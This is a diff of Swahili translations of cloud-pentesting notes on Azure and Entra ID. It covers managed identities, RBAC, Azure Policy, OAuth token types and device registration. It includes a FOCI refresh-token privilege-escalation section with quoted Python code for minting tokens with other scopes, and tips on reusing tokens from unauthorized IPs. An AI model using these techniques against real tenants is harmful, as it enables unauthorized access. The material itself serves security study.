- **Iliyotolewa na Mfumo**. Huduma zingine za Azure zinakuruhusu **kuwezesha utambulisho wa kusimamiwa moja kwa moja kwenye mfano wa huduma**. Unapowezesha utambulisho wa kusimamiwa wa mfumo, **wakala wa huduma** huundwa katika tenant ya Entra ID inayotegemewa na usajili ambapo rasilimali iko. Wakati **rasilimali** inafutwa, Azure kiotomatiki **inafuta** **utambulisho** kwa ajili yako.
- **Iliyotolewa na Mtumiaji**. Pia inawezekana kwa watumiaji kuunda utambulisho wa kusimamiwa. Hizi zinaundwa ndani ya kundi la rasilimali ndani ya usajili na wakala wa huduma utaundwa katika EntraID inayotegemewa na usajili. Kisha, unaweza kupeana utambulisho wa kusimamiwa kwa mfano mmoja au **zaidi** ya huduma ya Azure (rasilimali nyingi). Kwa utambulisho wa kusimamiwa wa mtumiaji, **utambulisho unasimamiwa tofauti na rasilimali zinazoutumia**.
Utambulisho wa Kusimamiwa **hauzali akidi za kudumu** (kama nenosiri au vyeti) kufikia kama wakala wa huduma ulioambatanishwa nayo.
Utambulisho wa Kusimamiwa **hauzuii akiba ya milele** (kama nenosiri au vyeti) kupata kama wakala wa huduma ulioambatanishwa nayo.
### Programu za Kijamii
Ni tu **meza katika Azure kuchuja wakala wa huduma** na kuangalia programu ambazo zimepewa.
Ni **meza tu katika Azure kuchuja wakala wa huduma** na kuangalia programu ambazo zimepewa.
**Sio aina nyingine ya "programu",** hakuna kitu chochote katika Azure ambacho ni "Programu ya Kijamii", ni tu muundo wa kuangalia Wakala wa huduma, Usajili wa programu na utambulisho wa kusimamiwa.
**Sio aina nyingine ya "programu",** hakuna kitu katika Azure ambacho ni "Programu ya Kijamii", ni tu muundo wa kuangalia Wakala wa huduma, Usajili wa Programu na utambulisho wa kusimamiwa.
### Vitengo vya Utawala
@@ -203,11 +203,11 @@ Mfano:
- Hali: Kampuni inataka wasimamizi wa IT wa kikanda wasimamie tu watumiaji katika eneo lao.
- Utekelezaji:
- Unda Vitengo vya Utawala kwa kila eneo (kwa mfano, "Kaskazini mwa Amerika AU", "Ulaya AU").
- Unda Vitengo vya Utawala kwa kila eneo (kwa mfano, "North America AU", "Europe AU").
- Jaza AUs na watumiaji kutoka maeneo yao.
- AUs zinaweza **kuhifadhi watumiaji, vikundi, au vifaa**
- AUs zinaweza **kuhifadhi watumiaji, makundi, au vifaa**
- AUs zinasaidia **uanachama wa kijamii**
- AUs **haziwezi kuwa na AUs**
- AUs **haziwezi kuhifadhi AUs**
- Peana Majukumu ya Usimamizi:
- Peana jukumu la "Msimamizi wa Watumiaji" kwa wafanyakazi wa IT wa kikanda, lililowekwa kwenye AU ya eneo lao.
- Matokeo: Wasimamizi wa IT wa kikanda wanaweza kusimamia akaunti za watumiaji ndani ya eneo lao bila kuathiri maeneo mengine.
@@ -216,16 +216,16 @@ Mfano:
- Ili kusimamia Entra ID kuna **majukumu yaliyojengwa ndani** ambayo yanaweza kutolewa kwa wakala wa Entra ID kusimamia Entra ID
- Angalia majukumu katika [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- Jukumu lenye mamlaka zaidi ni **Msimamizi wa Kimataifa**
- Jukumu lenye mamlaka zaidi ni **Msimamizi wa Ulimwengu**
- Katika Maelezo ya jukumu inawezekana kuona **ruhusa zake za kina**
## Majukumu & Ruhusa
**Majukumu** yanatolewa kwa **wakala** kwenye **kasi**: `wakala -[ANA JUKUMU]->(kasi)`
**Majukumu** yanatolewa kwa **wakala** kwenye **kikomo**: `wakala -[ANA JUKUMU]->(kikomo)`
**Majukumu** yaliyotolewa kwa **vikundi** yanarithiwa na **wanachama** wote wa kundi.
**Majukumu** yaliyotolewa kwa **makundi** yanarithiwa na **wanachama wote** wa kundi.
Kulingana na kasi ambayo jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kwa **rasilimali nyingine** ndani ya kontena la kasi. Kwa mfano, ikiwa mtumiaji A ana **jukumu kwenye usajili**, atakuwa na **jukumu hilo kwenye vikundi vyote vya rasilimali** ndani ya usajili na kwenye **rasilimali zote** ndani ya kundi la rasilimali.
Kulingana na kikomo ambacho jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kwa **rasilimali nyingine** ndani ya kikomo. Kwa mfano, ikiwa mtumiaji A ana **jukumu kwenye usajili**, atakuwa na **jukumu hilo kwenye makundi yote ya rasilimali** ndani ya usajili na kwenye **rasilimali zote** ndani ya kundi la rasilimali.
### **Majukumu ya K klasiki**
@@ -233,19 +233,19 @@ Kulingana na kasi ambayo jukumu lilitolewa, **jukumu** linaweza **kurithiwa** kw
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
| **Mchangiaji** | <ul><li>Ufikiaji kamili kwa rasilimali zote</li><li>Haiwezi kusimamia ufikiaji</li></ul> | Aina zote za rasilimali |
| **Msomaji** | • Ona rasilimali zote | Aina zote za rasilimali |
| **Msimamizi wa Ufikiaji wa Mtumiaji** | <ul><li>Ona rasilimali zote</li><li>Anaweza kusimamia ufikiaji kwa watumiaji wengine</li></ul> | Aina zote za rasilimali |
| **Msimamizi wa Ufikiaji wa Watumiaji** | <ul><li>Ona rasilimali zote</li><li>Anaweza kusimamia ufikiaji kwa watumiaji wengine</li></ul> | Aina zote za rasilimali |
### Majukumu Yaliyojengwa Ndani
[Kutoka kwenye hati: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Udhibiti wa ufikiaji wa Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ina majukumu kadhaa ya Azure **yaliyojengwa ndani** ambayo unaweza **kutoa** kwa **watumiaji, vikundi, wakala wa huduma, na utambulisho wa kusimamiwa**. Utoaji wa majukumu ndiyo njia unayodhibiti **ufikiaji wa rasilimali za Azure**. Ikiwa majukumu yaliyojengwa ndani hayakidhi mahitaji maalum ya shirika lako, unaweza kuunda [**majukumu ya kawaida ya Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
[Kutoka kwenye hati: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Udhibiti wa ufikiaji wa Azure unaotegemea jukumu (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) una majukumu kadhaa ya Azure **yaliyojengwa ndani** ambayo unaweza **kutoa** kwa **watumiaji, makundi, wakala wa huduma, na utambulisho wa kusimamiwa**. Uteuzi wa jukumu ndio njia unayodhibiti **ufikiaji wa rasilimali za Azure**. Ikiwa majukumu yaliyojengwa ndani hayakidhi mahitaji maalum ya shirika lako, unaweza kuunda [**majukumu ya kawaida ya Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
**Majukumu Yaliyojengwa Ndani** yanatumika tu kwa **rasilimali** ambazo zime **kusudiwa**, kwa mfano angalia mifano hii 2 ya **Majukumu Yaliyojengwa Ndani** juu ya rasilimali za **Kumbukumbu**:
**Majukumu Yaliyojengwa Ndani** yanatumika tu kwa **rasilimali** ambazo zime **kusudiwa**, kwa mfano angalia mifano hii 2 ya **Majukumu Yaliyojengwa Ndani** juu ya rasilimali za **Kuhifadhi**:
| [Msomaji wa Nakala ya Disk](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Inatoa ruhusa kwa vault ya nakala kufanya nakala ya disk. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
| [Kuingia kwa Mtumiaji wa Mashine ya Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Ona Mashine za Virtual kwenye lango na kuingia kama mtumiaji wa kawaida. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
Majukumu haya yanaweza **pia kutolewa juu ya kontena za mantiki** (kama vile vikundi vya usimamizi, usajili na vikundi vya rasilimali) na wakala walioathiriwa watakuwa nao **juu ya rasilimali ndani ya kontena hizo**.
Majukumu haya yanaweza **pia kutolewa juu ya vyombo vya mantiki** (kama vile makundi ya usimamizi, usajili na makundi ya rasilimali) na wakala walioathiriwa watakuwa nayo **juu ya rasilimali ndani ya vyombo hivyo**.
- Pata hapa orodha ya [**majukumu yote ya Azure yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
- Pata hapa orodha ya [**majukumu yote ya Entra ID yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
@@ -253,7 +253,7 @@ Majukumu haya yanaweza **pia kutolewa juu ya kontena za mantiki** (kama vile vik
### Majukumu ya Kawaida
- Pia inawezekana kuunda [**majukumu ya kawaida**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- Yanaanzishwa ndani ya kasi, ingawa jukumu linaweza kuwa katika kasi kadhaa (vikundi vya usimamizi, usajili na vikundi vya rasilimali)
- Yanaundwa ndani ya kikomo, ingawa jukumu linaweza kuwa katika maeneo kadhaa (makundi ya usimamizi, usajili na makundi ya rasilimali)
- Inawezekana kusanidi ruhusa zote za kina ambazo jukumu la kawaida litakuwa nazo
- Inawezekana kuondoa ruhusa
- Wakala mwenye ruhusa iliyondolewa hataweza kuitumia hata kama ruhusa hiyo inatolewa mahali pengine
@@ -294,30 +294,30 @@ Mfano wa ruhusa JSON kwa jukumu la kawaida:
```
### Permissions order
- Ili **principal awe na ufikiaji wa rasilimali** anahitaji jukumu lililo wazi kumwagiwa (kwa namna yoyote) **linalompa ruhusa hiyo**.
- Jukumu lililo wazi la **kukataa linachukua kipaumbele** juu ya jukumu linalotoa ruhusa.
- Ili **principal kuwa na ufikiaji wa rasilimali** anahitaji jukumu lililo wazi kumwagiwa (kwa njia yoyote) **linalompa ruhusa hiyo**.
- Jukumu la wazi la **kukataa linachukua kipaumbele** juu ya jukumu linalotoa ruhusa.
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
### Global Administrator
Global Administrator ni jukumu kutoka Entra ID linalotoa **udhibiti kamili juu ya mpangilio wa Entra ID**. Hata hivyo, halitoi ruhusa yoyote juu ya rasilimali za Azure kwa msingi.
Global Administrator ni jukumu kutoka Entra ID linalotoa **udhibiti kamili juu ya mpangilio wa Entra ID**. Hata hivyo, halitoi ruhusa yoyote juu ya rasilimali za Azure kwa default.
Watumiaji wenye jukumu la Global Administrator wana uwezo wa '**kuinua' hadi Jukumu la Msimamizi wa Ufikiaji wa Mtumiaji wa Azure katika Kundi la Usimamizi wa Mizizi**. Hivyo, Wasimamizi wa Global wanaweza kusimamia ufikiaji katika **mikataba yote ya Azure na makundi ya usimamizi.**\
Kuinua hii inaweza kufanywa mwishoni mwa ukurasa: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
Kuinua hii kunaweza kufanywa mwishoni mwa ukurasa: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
### Azure Policies
**Azure Policies** ni sheria zinazosaidia mashirika kuhakikisha rasilimali zao zinakidhi viwango maalum na mahitaji ya ufuatiliaji. Zinakuwezesha **kulazimisha au kukagua mipangilio kwenye rasilimali za Azure**. Kwa mfano, unaweza kuzuia uundaji wa mashine za virtual katika eneo lisiloidhinishwa au kuhakikisha kwamba rasilimali zote zina lebo maalum za kufuatilia.
**Azure Policies** ni sheria zinazosaidia mashirika kuhakikisha rasilimali zao zinakidhi viwango maalum na mahitaji ya ufuatiliaji. Zinakuwezesha **kulazimisha au kukagua mipangilio kwenye rasilimali katika Azure**. Kwa mfano, unaweza kuzuia uundaji wa mashine za virtual katika eneo lisiloidhinishwa au kuhakikisha kwamba rasilimali zote zina lebo maalum za kufuatilia.
Azure Policies ni **za awali**: zinaweza kuzuia rasilimali zisizokidhi viwango zisizoundwa au kubadilishwa. Pia ni **za majibu**, zikikuruhusu kupata na kurekebisha rasilimali zisizokidhi viwango zilizopo.
#### **Key Concepts**
1. **Policy Definition**: Sheria, iliyoandikwa kwa JSON, inayobainisha kile kinachoruhusiwa au kinachohitajika.
2. **Policy Assignment**: Matumizi ya sera kwa kiwango maalum (mfano, usajili, kundi la rasilimali).
1. **Policy Definition**: Sheria, iliyoandikwa kwa JSON, inayobainisha kinachoruhusiwa au kinachohitajika.
2. **Policy Assignment**: Utumiaji wa sera kwa kiwango maalum (mfano, usajili, kundi la rasilimali).
3. **Initiatives**: Mkusanyiko wa sera zilizopangwa pamoja kwa ajili ya utekelezaji mpana.
4. **Effect**: Inabainisha kinachotokea wakati sera inapoanzishwa (mfano, "Deny," "Audit," au "Append").
@@ -350,9 +350,9 @@ Azure policy json example:
"mode": "All"
}
```
### Permissions Inheritance
### Urithi wa Ruhusa
Katika Azure **permissions zinaweza kupewa sehemu yoyote ya hiyerarhii**. Hii inajumuisha makundi ya usimamizi, usajili, vikundi vya rasilimali, na rasilimali binafsi. Permissions **zinapewa** na **rasilimali** zilizomo katika chombo ambacho zilipewa.
Katika Azure **ruhusa zinaweza kutolewa kwa sehemu yoyote ya hiyerarhii**. Hii inajumuisha makundi ya usimamizi, usajili, makundi ya rasilimali, na rasilimali binafsi. Ruhusa **zinarithiwa** na **rasilimali** zilizomo katika chombo ambacho zilitolewa.
Muundo huu wa hiyerarhii unaruhusu usimamizi mzuri na wa kupanuka wa ruhusa za ufikiaji.
@@ -360,13 +360,13 @@ Muundo huu wa hiyerarhii unaruhusu usimamizi mzuri na wa kupanuka wa ruhusa za u
### Azure RBAC vs ABAC
**RBAC** (udhibiti wa ufikiaji kulingana na jukumu) ni kile tulichokiona tayari katika sehemu zilizopita: **Kutoa jukumu kwa msingi ili kumpa ufikiaji** juu ya rasilimali.\
Hata hivyo, katika baadhi ya matukio unaweza kutaka kutoa **usimamizi wa ufikiaji wa kiwango cha juu zaidi** au **kurahisisha** usimamizi wa **mamia** ya **mipangilio** ya jukumu.
**RBAC** (udhibiti wa ufikiaji kulingana na majukumu) ni kile tulichokiona tayari katika sehemu zilizopita: **Kutoa jukumu kwa msingi ili kumpa ufikiaji** juu ya rasilimali.\
Hata hivyo, katika baadhi ya matukio unaweza kutaka kutoa **usimamizi wa ufikiaji wa kiwango cha juu zaidi** au **rahisisha** usimamizi wa **mamia** ya **mikataba ya jukumu**.
Azure **ABAC** (udhibiti wa ufikiaji kulingana na sifa) inajengwa juu ya Azure RBAC kwa kuongeza **masharti ya mipangilio ya jukumu kulingana na sifa** katika muktadha wa vitendo maalum. _Sharti la mipangilio ya jukumu_ ni **ukaguzi wa ziada ambao unaweza kuongeza kwa hiari kwenye mipangilio yako ya jukumu** ili kutoa udhibiti wa ufikiaji wa kiwango cha juu zaidi. Sharti linachuja ruhusa zinazotolewa kama sehemu ya ufafanuzi wa jukumu na mipangilio ya jukumu. Kwa mfano, unaweza **kuongeza sharti linalohitaji kitu kuwa na lebo maalum ili kusoma kitu**.\
Azure **ABAC** (udhibiti wa ufikiaji kulingana na sifa) inajengwa juu ya Azure RBAC kwa kuongeza **masharti ya ugawaji wa jukumu kulingana na sifa** katika muktadha wa vitendo maalum. _Sharti la ugawaji wa jukumu_ ni **ukaguzi wa ziada ambao unaweza kuongeza kwa hiari kwenye ugawaji wako wa jukumu** ili kutoa udhibiti wa ufikiaji wa kiwango cha juu zaidi. Sharti linafanya uchujaji wa ruhusa zinazotolewa kama sehemu ya ufafanuzi wa jukumu na ugawaji wa jukumu. Kwa mfano, unaweza **kuongeza sharti linalohitaji kitu kuwa na lebo maalum ili kusoma kitu hicho**.\
Huwezi **kukatisha** **ufikiaji** kwa rasilimali maalum **ukitumia masharti**.
## References
## Marejeleo
- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)

View File

@@ -25,16 +25,16 @@ Entra ID ni jukwaa la usimamizi wa utambulisho na ufikiaji (IAM) la Microsoft li
- Microsoft 365 inatumia Azure AD kwa IAM na inajumuisha programu nyingi za "first-party" za OAuth.
- Programu hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma zinazohusiana.
- Ili kurahisisha uzoefu wa mtumiaji na kudumisha kazi, Microsoft inatoa "idhini iliyodhaniwa" au "idhini ya awali" kwa programu hizi za first-party.
- **Idhini Iliyodhaniwa:** Programu fulani zinapewa moja kwa moja **ufikiaji wa mikondo maalum bila idhini wazi ya mtumiaji au msimamizi**.
- Mikondo hii ya awali kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida.
- **Idhini Iliyodhaniwa:** Programu fulani zinapewa **ufikiaji wa mikondo maalum bila idhini ya wazi ya mtumiaji au msimamizi**.
- Mikondo hii iliyodhaniwa kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida.
**Aina za Programu za Mteja:**
1. **Wateja wa Siri:**
- Wana akidi zao wenyewe (mfano, nywila au vyeti).
- Wana akreditif zao wenyewe (mfano, nywila au vyeti).
- Wanaweza **kujithibitisha kwa usalama** kwa seva ya uidhinishaji.
2. **Wateja wa Umma:**
- Hawana akidi za kipekee.
- Hawana akreditif za kipekee.
- Hawawezi kujithibitisha kwa usalama kwa seva ya uidhinishaji.
- **Athari za Usalama:** Mshambuliaji anaweza kujifanya kuwa programu ya mteja wa umma anapohitaji alama, kwani hakuna mekanismu kwa seva ya uidhinishaji kuthibitisha uhalali wa programu.
@@ -44,13 +44,13 @@ Kuna **aina tatu za alama** zinazotumika katika OIDC:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Mteja anawasilisha alama hii kwa seva ya rasilimali ili **kufikia rasilimali**. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, mteja, na rasilimali na **haiwezi kufutwa** hadi ipite muda - yaani, saa 1 kwa kawaida.
- **ID Tokens**: Mteja anapata alama hii **kutoka kwa seva ya uidhinishaji**. Inajumuisha taarifa za msingi kuhusu mtumiaji. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja.
- **Refresh Tokens**: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika **kupata alama mpya za ufikiaji na ID**. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni **siku 90** kwa alama za refresha zisizofanya kazi na **hakuna muda wa kuisha kwa alama za kazi** (kutoka kwa alama ya refresha inawezekana kupata alama mpya za refresha).
- Alama ya refresha inapaswa kuunganishwa na **`aud`**, kwa baadhi ya **mikondo**, na kwa **tenant** na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa ajili ya aud hiyo, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa **alama za programu za FOCI**.
- Alama ya refresha imefichwa na ni Microsoft pekee inayoweza kuifungua.
- Kupata alama mpya ya refresha hakufuti alama ya refresha ya awali.
- **Refresh Tokens**: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika kupata **alama mpya za ufikiaji na ID**. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni **siku 90** kwa alama za refresh zisizofanya kazi na **hakuna muda wa kuisha kwa alama za kazi** (inawezekana kupata alama mpya za refresh kutoka kwa alama ya refresh).
- Alama ya refresh inapaswa kuunganishwa na **`aud`**, kwa mikondo **badhala**, na kwa **tenant** na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa ajili ya aud hiyo, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa **FOCI applications tokens**.
- Alama ya refresh imefichwa na ni Microsoft pekee inayoweza kuifungua.
- Kupata alama mpya ya refresh hakufuti alama ya refresh ya awali.
> [!WARNING]
> Taarifa za **ufikiaji wa masharti** zime **hifadhiwa** ndani ya **JWT**. Hivyo, ikiwa unahitaji **alama kutoka kwa anwani ya IP iliyoidhinishwa**, hiyo **IP** itakuwa **hifadhiwa** katika alama na kisha unaweza kutumia alama hiyo kutoka kwa **IP isiyoidhinishwa kufikia rasilimali**.
> Taarifa za **ufikiaji wa masharti** zime **hifadhiwa** ndani ya **JWT**. Hivyo, ikiwa unahitaji **alama kutoka anwani ya IP iliyoidhinishwa**, hiyo **IP** itakuwa **hifadhiwa** katika alama na kisha unaweza kutumia alama hiyo kutoka **IP isiyoidhinishwa kufikia rasilimali**.
### Access Tokens "aud"
@@ -77,10 +77,10 @@ Amri `az account get-access-token --resource-type [...]` inasaidia aina zifuataz
* **data-lake (Azure Data Lake Storage)**: Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya hifadhi ya data na uchambuzi inayoweza kupanuka.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, ambayo inatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa maudhui ya video na sauti.
- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, ambazo zinatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa ajili ya maudhui ya video na sauti.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inaruhusu kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama.
* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inakuruhusu kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Inatumika kufikia huduma za Azure Database kwa injini za hifadhidata za uhusiano za chanzo wazi kama MySQL, PostgreSQL, na MariaDB.
@@ -90,7 +90,7 @@ Amri `az account get-access-token --resource-type [...]` inasaidia aina zifuataz
### Access Tokens Scopes "scp"
Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya alama ya ufikiaji JWT. Mikondo hii inafafanua kile alama ya ufikiaji ina ufikiaji.
Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya JWT ya alama ya ufikiaji. Mikondo hii inafafanua ni nini alama ya ufikiaji ina ufikiaji.
Ikiwa JWT inaruhusiwa kuwasiliana na API maalum lakini **haina mikondo** ya kufanya kitendo kilichohitajika, haitakuwa na uwezo wa kufanya kitendo hicho na JWT hiyo.
@@ -121,7 +121,6 @@ device_flow
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
@@ -147,9 +146,9 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
## FOCI Tokens Privilege Escalation
Kabla ilisemwa kwamba refresh tokens zinapaswa kuunganishwa na **scopes** ambazo zilitengenezwa nazo, kwa **application** na **tenant** ambazo zilitengenezwa kwao. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza access tokens kwa rasilimali nyingine na tenants ambazo mtumiaji anaweza kufikia na kwa scopes zaidi kuliko ilivyokusudiwa awali.
Kabla ilisemwa kwamba refresh tokens zinapaswa kuunganishwa na **scopes** ambazo zilitengenezwa nazo, kwa **application** na **tenant** ambayo ilitengenezwa. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza access tokens kwa rasilimali nyingine na tenants ambazo mtumiaji anaweza kufikia na kwa scopes zaidi kuliko ilivyokusudiwa awali.
Zaidi ya hayo, **hii inawezekana na refresh tokens zote** katika [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, na akaunti za kijamii kama Facebook na Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyosema: "Refresh tokens zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini **hazifungwi kwa rasilimali au tenant**. Mteja anaweza kutumia refresh token kupata access tokens **katika mchanganyiko wowote wa rasilimali na tenant** ambapo ana ruhusa kufanya hivyo. Refresh tokens zimefungwa na ni Microsoft identity platform pekee inayoweza kuzisoma."
Zaidi ya hayo, **hii inawezekana na refresh tokens zote** katika [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, na akaunti za kijamii kama Facebook na Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyosema: "Refresh tokens zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini **hazifungwi kwa rasilimali au tenant**. Mteja anaweza kutumia refresh token kupata access tokens **katika mchanganyiko wowote wa rasilimali na tenant** ambapo ana ruhusa kufanya hivyo. Refresh tokens zimefichwa na ni Microsoft identity platform pekee inayoweza kuzisoma."
Zaidi ya hayo, kumbuka kwamba FOCI applications ni public applications, hivyo **siri yoyote haitahitajika** kuthibitisha kwenye seva.
@@ -157,7 +156,7 @@ Kisha wateja wa FOCI waliotambulika waliripotiwa katika [**original research**](
### Get different scope
Kufuata mfano wa awali wa msimbo, katika msimbo huu inahitajika token mpya kwa scope tofauti:
Kufuata mfano wa awali wa msimbo, katika msimbo huu unahitajika token mpya kwa scope tofauti:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -174,7 +173,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Pata wateja na mipaka tofauti
### Pata wateja tofauti na mipaka
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")

View File

@@ -6,15 +6,15 @@
Wakati kifaa kinajiunga na AzureAD, kitu kipya kinaundwa katika AzureAD.
Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inauliza uthibitisho wa mwisho.
Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inaomba uthibitisho wa mwisho.
Kisha, jozi mbili za funguo za RSA zinaundwa katika kifaa: **funguo ya kifaa** (**funguo ya umma**) ambayo inatumwa kwa **AzureAD** na **funguo ya usafirishaji** (**funguo ya faragha**) ambayo inahifadhiwa katika TPM ikiwa inawezekana.
Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimejiunga na AzureAD** na taarifa kuhusu **cheti** (kama kimeprotected na TPM).
Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimeunganishwa na AzureAD** na taarifa kuhusu **cheti** (kama ikiwa inalindwa na TPM).
```bash
dsregcmd /status
```
Baada ya usajili wa kifaa, **Primary Refresh Token** inahitajika na moduli ya LSASS CloudAP na inatolewa kwa kifaa. PRT inakuja na **funguo ya kikao iliyosimbwa ili kifaa pekee kiweze kuisambua** (kwa kutumia funguo ya umma ya funguo ya usafirishaji) na **inahitajika ili kutumia PRT.**
Baada ya usajili wa kifaa, **Primary Refresh Token** inahitajika na moduli ya LSASS CloudAP na inatolewa kwa kifaa. PRT inakuja na **funguo ya kikao iliyosimbwa ili kifaa pekee kiweze kuifungua** (kwa kutumia funguo ya umma ya funguo ya usafirishaji) na **inahitajika ili kutumia PRT.**
Kwa maelezo zaidi kuhusu nini PRT ni angalia:
@@ -24,8 +24,8 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
### TPM - Moduli ya Jukwaa Iliyotegemewa
**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa uchimbaji wa nyenzo za faragha kutoka kwenye safu ya OS.\
Lakini **haiwezi kulinda** dhidi ya **kuvuta** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**.
**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa kuchimba nyenzo za faragha kutoka kwenye safu ya OS.\
Lakini **haiwezi kulinda** dhidi ya **kuangalia** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**.
